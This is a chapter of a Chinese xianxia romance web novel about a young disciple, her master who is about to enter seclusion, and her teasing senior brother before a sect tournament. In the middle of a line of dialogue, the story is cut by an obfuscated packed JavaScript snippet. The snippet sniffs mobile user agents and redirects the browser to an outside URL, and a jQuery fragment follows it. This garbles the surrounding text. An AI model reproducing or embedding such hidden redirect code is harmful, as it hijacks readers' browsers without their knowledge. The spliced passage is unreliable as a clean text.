9. 第 9 章

作品:《师尊师兄为我扯头花

    几人赶在天黑前回到了宗门。


    刚回到慎如山,玉夭灼便急匆匆跑向玉羽涅的小院。


    再入水中廊台,她未进屋便瞧见玉羽涅的身影。他临湖而立,孑然一身,孤芳自赏般看着平静湖面。


    月光皎洁,高悬于空。月色如纱撒下,披在如画美人发上、肩头,衬得人如画中仙。


    美景在前,玉夭灼不禁屏息。


    她悄然上前,轻唤:“师尊。”


    玉羽涅如羽的长睫一抖,微微侧头,肩头几缕发丝垂落,带着淡淡的梅香。


    他含笑:“回来了?”


    目光触及玉夭灼脸上微尘,玉羽涅抬手,却只是停在她脸颊寸许之处,“脸搞得和猫儿一样。”


    “有吗?”玉夭灼忙用手掌胡乱抹了把脸,“师尊,还有嘛?”她眨眨眼。


    “还有一点点。”玉羽涅轻叹了一声,指尖终是极轻地拂过她脸颊,蜻蜓点水般,“走吧,寒露侵衣。”


    玉羽涅领着玉夭灼回屋,夭灼蹦蹦跳跳跟在他身边,叽叽喳喳说着出门的趣事。


    月光洒在二人身上,鱼跃水晃,盏盏灵灯绕着火蛾。


    玉夭灼看着扑火的蛾子,突然想起什么,将手腕伸到玉羽涅眼下,献宝般道:“师尊你看!”


    茉莉花铃铛般在她手腕上一晃,一日下来花苞有些蔫,但幽幽的香气还是勾过玉羽涅的目光。


    “很好看。”他的目光在那茉莉手串上停留片刻,声音温和。


    他抬手轻抚花瓣,指尖带着夜风的微凉,“夭夭眼光不错,每一朵都饱满。”


    玉夭灼正想说是师兄给她买的,串着茉莉的丝线突然毫无征兆地断裂。


    “呀!”


    洁白的花瓣簌簌落下,在月色中飘散如雪。玉夭灼轻呼一声,慌忙去接,却只抓住几片残瓣。


    这是师兄特意为她挑选的花环......


    玉夭灼怔怔看着地上的花瓣,眼眶微微发红。


    呜呜…怎么突然坏了!


    “莫要难过。”玉羽涅不知内情,俯身拾起几片花瓣,声音温和,“玉碎挡灾,花开有时。这许是个好兆头。”


    他轻轻摸了摸夭灼的脑袋,领她进屋,说道:“待为师出关,再为你寻个更好的。”


    想到师尊明日就要入关,玉夭灼垂首不语,指尖无意识绞着衣角,满是不舍,落花一事倒也忘了。


    这时,凌泉突然到来。得到应声,他推门而入。几片残花被带入屋内,在青石板上格外显眼。


    他似未察觉,目光掠过玉夭灼微红的眼角上,问道:“师尊,你明日便要闭关?”


    玉羽涅点了点头,“正是。吾闭关期间,夭夭便劳长清费心……”


    凌泉不动声色蹙了下眉:“师尊便是不提,弟子也会护好师妹的。”


    玉羽涅笑了:“也是。长清心细,却是比吾更知夭夭冷暖……”


    话音未落,凌泉眉峰蹙得更紧。


    又是这种话。


    “师尊此言,弟子不敢当。”


    他声音平稳:“师妹自有她的灵慧,冷暖自知。弟子所能做的,不过尽师兄本分,护她周全无虞罢了。”


    默了,玉羽涅没有回复。倒是玉夭灼心里惦记他话语里的自贬。


    她扭头看向玉羽涅:“师尊……您别这样说。您待我极好,夭夭都知道的。”


    玉羽涅对上玉夭灼眼中的依恋与不舍,好言应了她几句。


    良久,他抬眸与凌泉对视,“长清,看好夭灼,也照顾好你自己。”


    ……


    凌泉和夭灼一同离开庭院,一前一后走着,默契地没有说话。


    月色星辰交相辉映,打在凌泉侧脸上,而今却显得有些沉闷。


    玉夭灼背手看着他,有些担忧。她转了转眼睛,猫腰加快了步子。


    凌泉心里很乱,竟没察觉身后的女孩不知何时已经窜到他面前。


    “嘿!看招!”玉夭灼手指掐了一个剑诀,装着样子去戳凌泉腰侧。


    “噗——”凌泉身子一弓。


    “哈哈哈哈……别,别这样!救,救命,救命啊——”他脸上阴云豁然抖开,捂着腰左闪右躲。


    玉夭灼嘻嘻一笑:“哎呀哎呀,没想到我们的长清师兄,竟然会喊救命呀!”


    已知凌泉师兄有一个弱点。


    超级无敌怕痒。


    可是,玉夭灼不知道挠了老虎屁股,会有很可怕的事情发生。


    比如这样——


    凌泉抓住一个漏洞,迅速逮住玉夭灼的手,毫无预兆欺身而来,霎时只与她的脸隔了一拳距离。


    “师妹喜欢这样吗。”他嘴角扬起一丝不怀好意的笑。


    玉夭灼缩了缩脖子,尽可能想要加长二人间的距离,可是——


    “哎呦!疼啊师兄!”脑门传来剧痛,凌泉猛地将额头和她相碰。


    真要傻了真要傻了!前有枫荷拍头,今有凌泉碰头。


    玉夭灼欲哭无泪:她的智慧就是这么没掉的!


    玉夭灼因疼痛紧闭双眼,许久也没睁开。那股清冽的竹香还萦绕在鼻尖,之后……便是不好意思睁开了——二人额头相抵,没有分开。


    玉夭灼闭着眼,其余感官清晰不少。


    她感觉到凌泉的呼吸有些不稳。


    玉夭灼藏在眼皮下的眼球微微一滚,道:“师兄,我还没和你说呢,今天……谢谢你带我出门玩,我很开心。”


    一人吐息乱了。


    凌泉微微掀起眼帘,却见女孩微张的嘴唇。


    他静默了许久,许久…最终轻笑一声,和她分开。


    “这有什么。从今往后,山下红尘、人间烟火,四时风光、浩阔山海,我皆陪你一同踏入,可好?”


    -


    起兮大典在即,焦灼的氛围也影响了玉夭灼,她日日提剑随着师姐师兄修炼,刻苦得不行。


    反观凌泉,近来却是悠闲。问及准备功夫,还是那句:“我有什么好准备的?”


    此等傲骨却日日随众人起寝,何事不干,只闲坐一旁,目光总是不偏不倚落在人群中那抹桃红——玉夭灼身上。


    玉夭灼被盯得全身发毛,终究忍不住上前质问:“师兄你每日盯着我瞧作甚!”


    凌泉挑眉:“你不盯着我,怎知我盯着你?——师妹日日盯着本师兄又是作甚?”


    诡辩!这简直是诡辩!


    玉夭灼跺了跺脚,却不知道怎么形容那种如芒刺背、似钉凿骨的感觉。


    “反正我就是知道!”


    凌泉适可而止,不再逗她,道:“不是师尊让我看好你么?”


    “所以你就这么每天看着我呀?”


    “不行?”


    “自然不行!”


    “为何不行?我可不想落个‘目无师命’的罪名。”


    玉夭灼愣了:“哪有那么夸张的?”


    “好了好了,练你的剑去!”凌泉挥挥手,“大典期间,我与各师姐师兄在外,无人督促,谁知你还会不会懈怠?不如趁着现在多练几分,把之后的份补上。”


    “师兄好坏!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660233|188402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老是小瞧我……”玉夭灼不想理他了。


    她用力踩着步子离开,带着火气练剑,让大伙见识到了“传说中”冒火气的雪宵剑法。


    半夏激动不已,和山奈一边鼓掌一边大喊:“师妹威风!”最后双双被半枫荷绳之以法。得亏李贯仲求情,用两颗筑基丹换回师妹师弟小命。


    ——自然,筑基丹依旧被枫荷借花献佛给了夭灼。


    玉夭灼笑着对李贯仲说:“师兄,谢谢你,你炼的丹药可管用了!你能当我的师兄我超——级幸福!”给贯仲一张周正的脸羞得通红通红的。


    “额啊啊啊!小师妹,我也要,我也要!你也对我说说这句话!”半夏抖着身子,发出怪叫。


    “还有我!”山奈高高举起手,“虽然我发不出半师弟那么恶心的声音,但师妹,我想要你对我说这句话的热情一点不比他小啊!”


    于是,玉夭灼像是哄小娃一样,点一个说一个,把半夏和山奈说得可美了。


    半枫荷看着他们闹腾,无奈地叹了口气,嘴角却挂着笑意。她迎上被簇拥着女孩的视线,紧接着,一朵桃花迎她而来。


    玉夭灼小跑去环上她的腰,说道:“师姐,谢谢你能当我的师姐,我很幸福……”


    “啊——我也要抱抱!”


    又一轮混战开始了。


    凌泉托着腮,看着热闹的一伙人,从心底里扬起了一抹微笑。


    -


    启程之日,细雨霏霏。雨幕朦胧,雨滴敲在青石地上,声声清脆。


    玉夭灼打着油纸伞,站在山门一侧,前来与即将远行的一行人作别。


    大典举办三日,分初选、复选、决赛。麒麟山距举办地妙神门路途不近,需提早两日启程。不赶不急也好留足精力。


    几人与玉夭灼惜别,几乎作出生离死别的样子,玉夭灼看得心里又暖又好笑。


    待其安抚好抽噎的半夏,沈耳子与白芷也行至山门,周围弟子见状纷纷躬身行礼,让开道路。


    沈耳子驻足,向玉夭灼叮嘱道:“夭灼,山中诸事,便有劳你多费心了。你师尊闭关期间,寒潭洞若有异样,务必即刻禀报!”


    “弟子谨遵师命,定不负所托。”玉夭灼恭敬作揖,退至一旁。


    她的目光与跟在二位师伯后的凌泉相遇。他背着行囊,方才似与一位负责行程的弟子确认着什么,面上带上肩负重担的沉稳。


    玉夭灼难得见他如此认真严肃,笑着搭话:“师兄,我等你夺魁凯旋哦!”


    凌泉“嗯。”了一声,神情不改。玉夭灼又道:“也别太大压力了,师兄你……”


    “夭灼。”凌泉突然打断她。


    “啊?”


    自那日出山回来,凌泉心中便一直惴惴不安。临近启程,这预感愈发强烈。


    他看着玉夭灼,周围师弟师妹的喧闹、长辈的注视仿佛都已远去,心中波澜难平:“我还是同……”


    “师兄,你说什么?”雨打伞面,噼啪作响,玉夭灼未曾听清。


    片刻后,只听凌泉沉声道:“无碍,你多加小心。”


    前后不过五日,她留在山中,想必不会有什么差池。凌泉如此告诉自己。


    前方半夏已在催促,凌泉深深看了她一眼,终是转身汇入队伍。


    队伍在诸多弟子的目送下启程,很快消失在山道的尽头。


    山门前渐渐恢复了平日的秩序,弟子们各自散去忙碌。玉夭灼站在原地望了一会儿,才转身欲归。


    然而,就是这一句无缘的担忧,却一语成谶。